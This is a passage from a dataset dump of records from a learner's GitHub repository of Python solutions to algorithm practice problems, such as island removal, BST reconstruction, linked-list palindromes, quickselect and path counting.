"e7f59bd5b0683b08ddc0d92fcca09ddbf95e3640", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1802, "license_type": "no_license", "max_line_length": 81, "num_lines": 52, "path": "/removeIslands.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def removeIslands(matrix):\n onesConnectedToBorder = [[False for col in matrix[0]] for row in matrix]\n for row in range(len(matrix)):\n for col in range(len(matrix[row])):\n rowIsBorder = row == 0 or row == len(matrix)-1\n colIsBorder = col == 0 or col == len(matrix[row])-1\n isBorder = rowIsBorder or colIsBorder\n if not isBorder:\n continue\n if matrix[row][col] != 1:\n continue\n findOnesConnectedToBorder(\n matrix, row, col, onesConnectedToBorder)\n for row in range(1, len(matrix)-1):\n for col in range(1, len(matrix[row])-1):\n if onesConnectedToBorder[row][col]:\n continue\n matrix[row][col] = 0\n\n return matrix\n\n\ndef findOnesConnectedToBorder(matrix, startRow, startCol, onesConnectedToBorder):\n stack = [(startRow, startCol)]\n while len(stack) > 0:\n currentPosition = stack.pop()\n currentRow, currentCol = currentPosition\n alreadyVisited = onesConnectedToBorder[currentRow][currentCol]\n if alreadyVisited:\n continue\n onesConnectedToBorder[currentRow][currentCol] = True\n neighbors = getNeighbors(matrix, currentRow, currentCol)\n for neighbor in neighbors:\n row, col = neighbor\n if matrix[row][col] != 1:\n continue\n stack.append(neighbor)\n\n\ndef getNeighbors(matrix, row, col):\n neighbors = []\n numRows = len(matrix)\n numCols = len(matrix[row])\n if row-1 >= 0:\n neighbors.append((row-1, col))\n if row+1 < numRows:\n neighbors.append((row+1, col))\n if col-1 >= 0:\n neighbors.append((row, col-1))\n if col+1 < numCols:\n neighbors.append((row, col+1))\n return neighbors\n" }, { "alpha_fraction": 0.6597937941551208, "alphanum_fraction": 0.6701030731201172, "avg_line_length": 25.94444465637207, "blob_id": "0c6b574aacf1b9faf9ac626ce69a534a2154b542", "content_id": "4a3f988284e2120d9bb259d1fd665d0dbb7e2243", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 485, "license_type": "no_license", "max_line_length": 91, "num_lines": 18, "path": "/allKindOfNodeDepths.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def allKindsOfNodeDepths(root):\n if root is None:\n return 0\n return allKindsOfNodeDepths(root.left)+allKindsOfNodeDepths(root.right)+nodeDepth(root)\n\n\ndef nodeDepth(tree, depth=0):\n if tree is None:\n return 0\n return nodeDepth(tree.left, depth+1)+nodeDepth(tree.right, depth+1)+depth\n\n\n# This is the class of the input binary tree.\nclass BinaryTree:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n" }, { "alpha_fraction": 0.4876660406589508, "alphanum_fraction": 0.4962049424648285, "avg_line_length": 28.30555534362793, "blob_id": "a8495f4f652869a3b2a1b47d7657602642d14078", "content_id": "c2cfddc3ee252785462a08cfad84200be544d8fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1054, "license_type": "no_license", "max_line_length": 70, "num_lines": 36, "path": "/isAnagram.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def isAnagram(self, s: str, t: str) -> bool:\n if len(s) !=len(t):\n return False\n s_history ={}\n for ch in s:\n if ch in s_history:\n s_history[ch]+=1\n else:\n s_history[ch]=1\n \n t_history ={}\n for ch in t:\n if ch in t_history:\n t_history[ch]+=1\n else:\n t_history[ch]=1\n \n for item in s_history:\n if item in t_history and s_history[item]==t_history[item]:\n continue\n else:\n return False\n \n return True\n\ndef isAnagram(original, anagram, firstPtr=0, secondPtr=0):\n if len(original) != len(anagram):\n return False\n if firstPtr == len(original):\n return True\n if secondPtr == len(anagram) :\n return False \n if original[firstPtr] == anagram[secondPtr]:\n return isAnagram(original, anagram, firstPtr+1, 0)\n else:\n return isAnagram(original, anagram, firstPtr, secondPtr+1)" }, { "alpha_fraction": 0.5561097264289856, "alphanum_fraction": 0.5598503947257996, "avg_line_length": 27.64285659790039, "blob_id": "c7e34bde3a4f3aa7dea7d87f4ef3e3c43e0d4a14", "content_id": "74e5d1bc3005ca55dbf8cf5f0077e5d63438a653", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 802, "license_type": "no_license", "max_line_length": 54, "num_lines": 28, "path": "/reconstructBst.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass BST:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n def insert(self, val):\n if val < self.value:\n if self.left is None:\n self.left = BST(val)\n else:\n self.left.insert(val)\n else:\n if self.right is None:\n self.right = BST(val)\n else:\n self.right.insert(val)\n\n\ndef reconstructBst(preOrderTraversalValues):\n if len(preOrderTraversalValues) == 0:\n return None\n root = BST(preOrderTraversalValues[0])\n for idx in range(1, len(preOrderTraversalValues)):\n val = preOrderTraversalValues[idx]\n root.insert(val)\n return root\n" }, { "alpha_fraction": 0.6274768710136414, "alphanum_fraction": 0.6274768710136414, "avg_line_length": 33.40909194946289, "blob_id": "6cfb7bf64b56c6924b72caa816c1522004e9b411", "content_id": "59e3fdab1ee73f9835eeb6004c276563b79d1cbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 757, "license_type": "no_license", "max_line_length": 99, "num_lines": 22, "path": "/removeDuplicatesInLinkedList.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass LinkedList:\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\ndef removeDuplicatesFromLinkedList(linkedList):\n # current node assumed not to have a duplicate\n current = linkedList # pointer on the list head\n while current:\n if current.next and current.value == current.next.value:\n currentNextNode = current.next\n newNextNode = current.next.next\n if newNextNode:\n current.next = newNextNode\n currentNextNode.next = None\n else:\n current.next = None\n current = current if current.next and current.next.value == current.value else current.next\n\n return linkedList\n" }, { "alpha_fraction": 0.49299508333206177, "alphanum_fraction": 0.5179855823516846, "avg_line_length": 29.70930290222168, "blob_id": "2d6409c47304833c5fb1d234369aec9a02bd12ab", "content_id": "01999f3c582747c4a057e2962f9427d9c937458a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2641, "license_type": "no_license", "max_line_length": 81, "num_lines": 86, "path": "/searchForRange.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def searchForRange(array, target):\n# history = {}\n# for i in range(len(array)-1):\n# if array[i] not in history:\n# history[array[i]] = [i]\n# else:\n# history[array[i]].append(i)\n\n# if len(history[target]) == 0:\n# return [-1, -1]\n# else:\n# return [history[target][0], history[target][len(history[target])-1]]\n\n\n# def searchForRange(array, target):\n# finalRange = [-1, -1]\n# alteredBinarySearchRange(array, target, 0, len(array)-1, finalRange, True)\n# alteredBinarySearchRange(array, target, 0, len(array)-1, finalRange, False)\n# return finalRange\n\n\n# def alteredBinarySearchRange(array, target, left, right, finalRange, goLeft):\n# if right < left:\n# return\n\n# mid = (left+right)//2\n# if array[mid] < target:\n# alteredBinarySearchRange(array, target, mid+1,\n# right, finalRange, goLeft)\n# elif array[mid] > target:\n# alteredBinarySearchRange(\n# array, target, left, mid-1, finalRange, goLeft)\n# else:\n# if goLeft:\n# if mid == 0 or array[mid-1] != target:\n# finalRange[0] = mid\n# else:\n# alteredBinarySearchRange(\n# array, target, left, mid-1, finalRange, goLeft)\n# else:\n# if mid == len(array)-1 or array[mid+1] != target:\n# finalRange[1] = mid\n# else:\n# alteredBinarySearchRange(\n# array, target, mid+1, right, finalRange, goLeft)\n\n\n# return finalRange\n\n\ndef searchForRange(array, target):\n finalRange = [-1, -1]\n alteredBinarySearchRange(array, target, 0, len(array)-1, finalRange, True)\n alteredBinarySearchRange(array, target, 0, len(array)-1, finalRange, False)\n return finalRange\n\n\ndef alteredBinarySearchRange(array, target, left, right, finalRange, goLeft):\n while left <= right:\n mid = (left+right)//2\n if array[mid] < target:\n left = mid+1\n elif array[mid] > target:\n right = mid-1\n else:\n if goLeft:\n if mid == 0 or array[mid-1] != target:\n finalRange[0] = mid\n return\n else:\n right = mid-1\n else:\n if mid == len(array)-1 or array[mid+1] != target:\n finalRange[1] = mid\n return\n else:\n left = mid+1\n\n return finalRange\n\n\nprint(\n searchForRange(\n [0, 1, 21, 33, 45, 45, 45, 45, 45, 45, 61, 71, 73], 45\n )\n)\n" }, { "alpha_fraction": 0.6091954112052917, "alphanum_fraction": 0.6245210766792297, "avg_line_length": 28, "blob_id": "b8868feff98521f1cc37765bd9e414d15e6221be", "content_id": "56c9f41f77400015650898ce2ad430e5e326a994", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 34, "num_lines": 9, "path": "/coinChange.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def nonConstructibleChange(coins):\n coins.sort()\n currentChange = 0\n for idx in range(len(coins)):\n coin = coins[idx]\n if coin > currentChange+1:\n return currentChange+1\n currentChange += coin\n return currentChange+1\n" }, { "alpha_fraction": 0.7000418901443481, "alphanum_fraction": 0.7021365761756897, "avg_line_length": 28.481481552124023, "blob_id": "8d26a6b162dca4222c91cb5dc6ee7bde3e6d6772", "content_id": "a1f61093b078aec79b8cae619896ababf0dd3292", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2387, "license_type": "no_license", "max_line_length": 88, "num_lines": 81, "path": "/linkedListPalindrome.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass LinkedList:\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\ndef getLinkedListLength(head):\n count = 1\n while head is not None:\n count += 1\n head = head.next\n return count\n\n\ndef getMiddleNode(node, length):\n count = 1\n while count != length:\n count += 1\n node = node.next\n return node\n\n\ndef reverseLinkedList(node):\n prevNode = None\n currentNode = node\n while currentNode is not None:\n nextNode = currentNode.next\n currentNode.next = prevNode\n prevNode = currentNode\n currentNode = nextNode\n return prevNode\n\n\ndef linkedListPalindrome(head):\n length = getLinkedListLength(head)\n startNode = head\n middleEndNode = getMiddleNode(head, length//2)\n middleStartNode = reverseLinkedList(middleEndNode)\n middleEndNode.next = None\n while startNode is not None and middleStartNode is not None:\n if startNode.value != middleStartNode.value:\n return False\n startNode = startNode.next\n middleStartNode = middleStartNode.next\n return True\n\n\ndef linkedListPalindromePointer(head):\n slowNode = head\n fastNode = head\n while fastNode is not None and fastNode.next is not None:\n slowNode = slowNode.next\n fastNode = fastNode.next.next\n\n slowNode = reverseLinkedList(slowNode)\n while fastNode is not None and slowNode is not None:\n if fastNode.value != slowNode.value:\n return False\n slowNode = slowNode.next\n fastNode = fastNode.next\n return True\n\n\ndef linkedListRecursive(head):\n isPalindromeResults = isPalindrome(head,head)\n\ndef isPalindrome(leftNode,rightNode):\n if rightNode is None:\n return LinkedListInfo(True,leftNode)\n recursiveCallResults = isPalindrome(leftNode,rightNode.next)\n leftNodeToCompare = recursiveCallResults.leftNodeToCompare\n outerNodeAreEqual = recursiveCallResults.outerNodeAreEqual\n recursiveIsEqual = outerNodeAreEqual and leftNodeToCompare.value == rightNode.value\n nextMatchingLeftNode = leftNodeToCompare.next\n\n return LinkedListInfo(recursiveIsEqual,nextMatchingLeftNode)\nclass LinkedListInfo:\n def __init__(self,outerNodeAreEqual,leftNodeToCompare):\n self.outerNodeAreEqual = outerNodeAreEqual\n self.leftNodeToCompare = leftNodeToCompare" }, { "alpha_fraction": 0.5704280138015747, "alphanum_fraction": 0.5906614661216736, "avg_line_length": 34.63888931274414, "blob_id": "d90422b30cd7287234d5e5ae802c626c6c2c5a21", "content_id": "7da697c9bd469d9e961b99fc75a681db839b2f70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1285, "license_type": "no_license", "max_line_length": 121, "num_lines": 36, "path": "/phoneNumberMnemonics.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def phoneNumberMnemonics(phoneNumber):\n if phoneNumber==\"1\" or phoneNumber==\"0\":\n return [phoneNumber]\n currentMnemonics = [\"0\"]*len(phoneNumber)\n phoneNumberDialPadLayout = {\n \"0\": [\"0\"],\n \"1\": [\"1\"],\n \"2\": [\"a\", \"b\", \"c\"],\n \"3\": [\"d\", \"e\", \"f\"],\n \"4\": [\"g\", \"h\", \"i\"],\n \"5\": [\"j\", \"k\", \"l\"],\n \"6\": [\"m\", \"n\", \"o\"],\n \"7\": [\"p\", \"q\", \"r\", \"s\"],\n \"8\": [\"t\", \"u\", \"v\"],\n \"9\": [\"w\", \"x\", \"y\", \"z\"]\n }\n mnemonicsFound=[]\n\n phoneNumberMnemonicsHelper(0,phoneNumber,phoneNumberDialPadLayout,currentMnemonics,mnemonicsFound)\n return mnemonicsFound\n\ndef phoneNumberMnemonicsHelper(idx,phoneNumber,dialPadLayout,currentMnemonics,mnemonicsFound):\n if idx == len(phoneNumber):\n mnemonics=''.join(currentMnemonics)\n mnemonicsFound.append(mnemonics)\n else:\n digit=phoneNumber[idx] # 1,9,0,5\n letters=dialPadLayout[digit] \n for letter in letters:\n currentMnemonics[idx]=letter\n phoneNumberMnemonicsHelper(idx+1,phoneNumber, dialPadLayout,currentMnemonics,mnemonicsFound) #[]\n print(f\"phoneNumberMnemonicsHelper({idx+1},{phoneNumber},dialPadLayout,{currentMnemonics},{mnemonicsFound})\")\n\n\n\nprint(phoneNumberMnemonics('1905'))\n\n\n" }, { "alpha_fraction": 0.6236920952796936, "alphanum_fraction": 0.6251868605613708, "avg_line_length": 30.48235321044922, "blob_id": "d8ce1d3d3310055c2389130bb3fbc1011d5695ff", "content_id": "7ad894533177233248d8d0a62b273e9e1d3bf2d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2676, "license_type": "no_license", "max_line_length": 97, "num_lines": 85, "path": "/apartmentHunting.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def apartmentHunting(blocks, reqs):\n# maxDistanceAtBlock = [float(\"-inf\") for block in blocks]\n# for i in range(len(blocks)):\n# for req in reqs:\n# closestReqDistance = float(\"inf\")\n# for j in range(len(blocks)):\n# if blocks[j][req]:\n# closestReqDistance = min(\n# closestReqDistance, distanceBetween(i, j))\n# maxDistanceAtBlock[i] = max(\n# maxDistanceAtBlock[i], closestReqDistance)\n# return getIdxAtMinValue(maxDistanceAtBlock)\n\n\n# def distanceBetween(a, b):\n# return abs(a-b)\n\n\n# def getIdxAtMinValue(array):\n# idxAtMinValue = 0\n# minValue = float(\"inf\")\n# for i in range(len(array)):\n# currentValue = array[i]\n# if currentValue < minValue:\n# minValue = currentValue\n# idxAtMinValue = i\n# return idxAtMinValue\n\n\ndef apartmentHunting(blocks, reqs):\n minDistancesFromBlocks = list(\n map(lambda req: getMinDistances(blocks, req), reqs))\n maxDistancesFromBlocks = getMaxDistancesAtBlocks(\n blocks, minDistancesFromBlocks)\n return getIdxAtMinValue(maxDistancesFromBlocks)\n\n\ndef getMaxDistancesAtBlocks(blocks, minDistancesFromBlocks):\n maxDistancesFromBlocks = [0 for block in blocks]\n for i in range(len(blocks)):\n minDistancesFromBlock = list(map(lambda distances: distances[i], minDistancesFromBlocks))\n maxDistancesFromBlocks[i] = max(minDistancesFromBlock)\n return maxDistancesFromBlocks\n\n\ndef getMinDistances(blocks, req):\n minDistances = [0 for block in blocks]\n closestReqIdx = float(\"inf\")\n for i in range(len(blocks)):\n if blocks[i][req]:\n closestReqIdx = i\n minDistances[i] = distanceBetween(i, closestReqIdx)\n for i in reversed(range(len(blocks))):\n if blocks[i][req]:\n closestReqIdx = i\n minDistances[i] = min(\n minDistances[i], distanceBetween(i, closestReqIdx))\n return minDistances\n\n\ndef getIdxAtMinValue(array):\n idxAtMinValue = 0\n minValue = float(\"inf\")\n for i in range(len(array)):\n currentValue = array[i]\n if currentValue < minValue:\n minValue = currentValue\n idxAtMinValue = i\n return idxAtMinValue\n\n\ndef distanceBetween(a, b):\n return abs(a-b)\n\n\nblocks = [\n {\"gym\": False, \"school\": True, \"store\": False},\n {\"gym\": True, \"school\": False, \"store\": False},\n {\"gym\": True, \"school\": True, \"store\": False},\n {\"gym\": False, \"school\": True, \"store\": False},\n {\"gym\": False, \"school\": True, \"store\": True}\n]\n\nreqs = [\"gym\", \"school\", \"store\"]\nprint(apartmentHunting(blocks, reqs))\n" }, { "alpha_fraction": 0.44252872467041016, "alphanum_fraction": 0.5, "avg_line_length": 16, "blob_id": "ee89c66e7fa1f44ad30b8d89ac44d626ac94c831", "content_id": "51b38a25f4be21dc0ef0814dd1705b07f9de571f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 174, "license_type": "no_license", "max_line_length": 30, "num_lines": 10, "path": "/nthNatuaralNumber.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def nthNaturalNumber(N):\n answer = 0\n i=0\n while N!=0:\n answer+= (10**i)*(N%9)\n N=N//9\n i+=1\n return answer\n\nprint(nthNaturalNumber(19))\n " }, { "alpha_fraction": 0.6427320241928101, "alphanum_fraction": 0.6602451801300049, "avg_line_length": 29.078947067260742, "blob_id": "e5fa76398904667ea869b733d6681e54b96968df", "content_id": "40b223948d60d9d8e22968cb7475c8067d6a48aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1142, "license_type": "no_license", "max_line_length": 82, "num_lines": 38, "path": "/quickSelect.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def swap(array,i,j):\n array[i],array[j] = array[j],array[i]\n\ndef quickSelect(array,k):\n sortedArray = quickSort(array)\n print(sortedArray)\n return sortedArray[k-1]\n\ndef quickSort(array):\n startIdx=0\n endIdx = len(array)-1\n quickSortHelper(array,startIdx,endIdx)\n return array\n\ndef quickSortHelper(array,startIdx,endIdx):\n if endIdx <= startIdx:\n return \n pivotIdx=startIdx\n leftIdx=startIdx+1\n rightIdx=endIdx\n while leftIdx <= rightIdx:\n if array[leftIdx] > array[pivotIdx] and array[rightIdx] < array[pivotIdx]:\n swap(array, leftIdx, rightIdx)\n if array[leftIdx] <= array[pivotIdx]:\n leftIdx += 1\n if array[rightIdx] >= array[pivotIdx]:\n rightIdx -= 1\n swap(array,pivotIdx,rightIdx)\n leftSubarrayIsSmaller = rightIdx - 1 - startIdx < endIdx-(rightIdx+1)\n if leftSubarrayIsSmaller :\n quickSortHelper(array,startIdx,rightIdx-1)\n quickSortHelper(array,rightIdx+1,endIdx)\n else:\n quickSortHelper(array,rightIdx+1,endIdx)\n quickSortHelper(array,startIdx,rightIdx-1)\n\n\nprint(quickSelect([8,5,2,9,7,6,3],3))" }, { "alpha_fraction": 0.648409903049469, "alphanum_fraction": 0.6678445339202881, "avg_line_length": 30.44444465637207, "blob_id": "b4446f4f9ea26e9045380833ca96115f1a96ac5b", "content_id": "b683ad6a94e08da5024919b7bfaa35dc6cbff224", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 566, "license_type": "no_license", "max_line_length": 58, "num_lines": 18, "path": "/longestSubstringWithoutDuplication.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def longestSubstringWithoutDuplication(string):\n if len(string) == 0:\n return string\n lastSeen = {}\n longest = [0,1]\n startIdx=0\n for i,ch in enumerate(string):\n if ch in lastSeen:\n startIdx=max(startIdx,lastSeen[ch]+1)\n if longest[1]-longest[0]<i+1-startIdx:\n longest = [startIdx,i+1]\n lastSeen[ch]=i\n return string[longest[0]:longest[1]]\n\n\nprint(longestSubstringWithoutDuplication(\"clementisacpa\"))\nprint(longestSubstringWithoutDuplication(\"abc\"))\nprint(longestSubstringWithoutDuplication(\"a\"))\n" }, { "alpha_fraction": 0.2826162874698639, "alphanum_fraction": 0.4921301007270813, "avg_line_length": 24.526784896850586, "blob_id": "418b181016f944c56581ddb1d01bfe66a29a0981", "content_id": "dada253b0258c48187e606548a5d883fc09f9f48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2859, "license_type": "no_license", "max_line_length": 60, "num_lines": 112, "path": "/countPath.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# from pprint import PrettyPrinter\n# from os import open\n# temp = open('./output.txt')\n# printer = PrettyPrinter(4,40,2,temp)\ndef BFS(map,i,j):\n visited = {}\n count=0\n count+=findPath(map,i,j,visited)\n return count;\n\n\ndef isVisited(visited,location):\n return location in visited\ndef isBlocked(map,i,j):\n return map[i][j]==1\ndef isOutOfBounds(map,i,j):\n return i <0 or i>len(map)-1 or j<0 or j>len(map[i])-1\n\ndef findPath(map,i,j,visited):\n location=str(i)+\" -> \"+str(j)\n if isVisited(visited,location):\n return 0\n if isOutOfBounds(map, i, j):\n return 0\n if isBlocked(map, i, j):\n return 0\n if i==len(map)-1 and j==len(map[0])-1:\n return 1\n visited[location]=[i,j]\n map[i][j]=1\n neighbours=getNeigbours(map,i,j)\n count=0\n for neighbour in neighbours:\n x=neighbour[0]\n y=neighbour[1]\n ret = findPath(map, x, y, visited)\n if ret!=0:\n count+=ret\n # printer.pprint(map)\n map[i][j]=0\n visited.pop(location)\n return count\n\ndef getNeigbours(map,i,j):\n neighbour=[]\n if i <0 or i>len(map)-1 or j<0 or j>len(map[i])-1:\n return neighbour\n validMoves = [[i+1,j],[i,j+1]]\n for moves in validMoves:\n x=moves[0]\n y=moves[1]\n if i < 0 or i >len(map)-1 or j<0 or j>len(map[i])-1:\n continue\n neighbour.append(moves)\n return neighbour\n\nprint(BFS(\n[\n [0,0,0,0],\n [0,1,1,0],\n [0,0,1,0],\n [1,0,0,0]\n],\n0,0\n))\n\nprint(\nBFS(\n[\n [0,0,0,0],\n [0,1,0,0],\n [0,0,0,0],\n [0,0,1,0],\n [0,0,0,0]\n],0,0\n)\n)\n\nprint(BFS(\n[\n [0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0],\n [0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0],\n [1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1],\n [0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0],\n [0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0],\n [1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0],\n [0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0],\n [0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\n [1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0],\n [0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0],\n [0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0],\n [0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1],\n [0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1],\n [1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0],\n [0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0],\n [0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\n [0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0],\n [0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,0,0],\n [0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1],\n [0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0],\n [1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0],\n [0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0],\n [0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0],\n [1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1],\n [1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0]\n]\n,0,0\n))\n" }, { "alpha_fraction": 0.5757575631141663, "alphanum_fraction": 0.6363636255264282, "avg_line_length": 19, "blob_id": "8f52173c100559700ff0ab00c3f54c73e6b961d9", "content_id": "8742560bff40a420c68fd2064b8dfecb026b36ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 99, "license_type": "no_license", "max_line_length": 40, "num_lines": 5, "path": "/defangingIp.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def defangingIP(string):\n return \"[.]\".join(string.split(\".\"))\n\n\nprint(defangingIP(\"127.0.0.1\"))" }, { "alpha_fraction": 0.5966736078262329, "alphanum_fraction": 0.610632598400116, "avg_line_length": 32, "blob_id": "f9c86b58af6c055f5a7d3db9a3e1c9003f52e98a", "content_id": "70702c5ca070a39ec4d259b2c1ce92d14125f37c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3367, "license_type": "no_license", "max_line_length": 77, "num_lines": 102, "path": "/underscorefyingString.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def getLocations(string, substring):\n locations = []\n for i in range(0, len(string)):\n stidx = i\n edidx = i+len(substring)\n current = ''.join(string[stidx:edidx])\n if current == substring:\n locations.append([stidx, edidx])\n return locations\n\n\ndef collapseLocations(locations):\n if len(locations) == 0:\n return []\n collapseLocations = [locations[0]]\n for i in range(1, len(locations)):\n if locations[i][0] <= locations[i-1][1]:\n collapseLocations[-1][1] = locations[i][1]\n continue\n collapseLocations.append(locations[i])\n return collapseLocations\n\n\ndef underscorifySubstring(string, substring):\n locations = getLocations(string, substring)\n collapsedLocations = collapseLocations(locations)\n if len(collapsedLocations)==0:\n return string\n tmp = list(string)\n for i in range(len(tmp)):\n if i < len(collapsedLocations):\n tmp.insert(collapsedLocations[i][0]+i, '_')\n for i in range(len(tmp)):\n if i < len(collapsedLocations):\n tmp.insert(collapsedLocations[i][1]+(i*2)+1, '_')\n return ''.join(tmp)\n\n# # \"_test_this is a _testtest_ to see if _testestest_ it works\"\n# # \"testthis is a testtest to see if testestest it works\"\n# # [[0,3],[14,17],[18,21],[31,41]]\n\n\n# def collapse(locations):\n# if not locations:\n# return locations\n# newLocations = [locations[0]]\n# previous = newLocations[0]\n# for i in range(1, len(locations)):\n# current = locations[i]\n# if current[0] <= previous[1]:\n# previous[1] = current[1]\n# else:\n# newLocations.append(current)\n# previous = current\n# return newLocations\n\n\n# def getLocations(string: str, substring: str):\n# locations: list = []\n# startIdx: int = 0\n# while startIdx < len(string):\n# nextIdx: int = string.find(substring, startIdx)\n# if nextIdx != -1:\n# locations.append([nextIdx, nextIdx+len(substring)])\n# startIdx = nextIdx+1\n# else:\n# break\n# return locations\n\n# def underscorify(string, locations):\n# locationsIdx = 0\n# stringIdx = 0\n# inBetweenUnderScores = False\n# finalChars = []\n# i = 0\n# while stringIdx < len(string) and locationsIdx < len(locations):\n# if stringIdx == locations[locationsIdx][i]:\n# finalChars.append(\"_\")\n# inBetweenUnderScores = not inBetweenUnderScores\n# if not inBetweenUnderScores:\n# locationsIdx += 1\n# i = 0 if i == 1 else 1\n# finalChars.append(string[stringIdx])\n# stringIdx += 1\n# if locationsIdx < len(locations):\n# finalChars.append('_')\n# elif stringIdx < len(string):\n# finalChars.append(string[stringIdx:])\n# return \"\".join(finalChars)\n\n\n# def underscorifySubstring(string, substring):\n# locations = collapse(getLocations(string, substring))\n# return underscorify(string, locations)\n\n\nprint(underscorifySubstring(\n \"testthis is a testtest to see if testestest it works\", 'test'))\nprint(underscorifySubstring(\n \"testthis is a testest to see if testestes it works\", 'test'))\nprint(underscorifySubstring(\"testthis is a test to see if it works\", 'test'))\nprint(underscorifySubstring(\"tttttttttttttatt\", \"tt\"))\n " }, { "alpha_fraction": 0.6181277632713318, "alphanum_fraction": 0.6181277632713318, "avg_line_length": 23.925926208496094, "blob_id": "dfdd20100d133714bdcb38bcc90eeca7b3b904a9", "content_id": "c12b1a8a9af126e58e55cabcfa94c4db8763f8a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "no_license", "max_line_length": 54, "num_lines": 27, "path": "/rightSiblingTree.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is the class of the input root. Do not edit it.\nclass BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\ndef rightSiblingTree(root):\n mutate(root,None,None)\n return root\n\ndef mutate(node,parent,isLeftChild):\n if node is None:\n return\n left,right=node.left,node.right\n mutate(left,node,True)\n if parent is None:\n node.right=None\n elif isLeftChild:\n node.right=parent.right\n else:\n if parent.right is None:\n node.right=None\n else:\n node.right=parent.right.left\n mutate(right,node,False)\n" }, { "alpha_fraction": 0.6381035447120667, "alphanum_fraction": 0.6589821577072144, "avg_line_length": 31.380281448364258, "blob_id": "c6ee913c5ce1d26ef376ea8c6bf1982f73732b0e", "content_id": "e359050390e62239d1d750f1fef63df3fa429a6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2299, "license_type": "no_license", "max_line_length": 83, "num_lines": 71, "path": "/same_bst.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# def 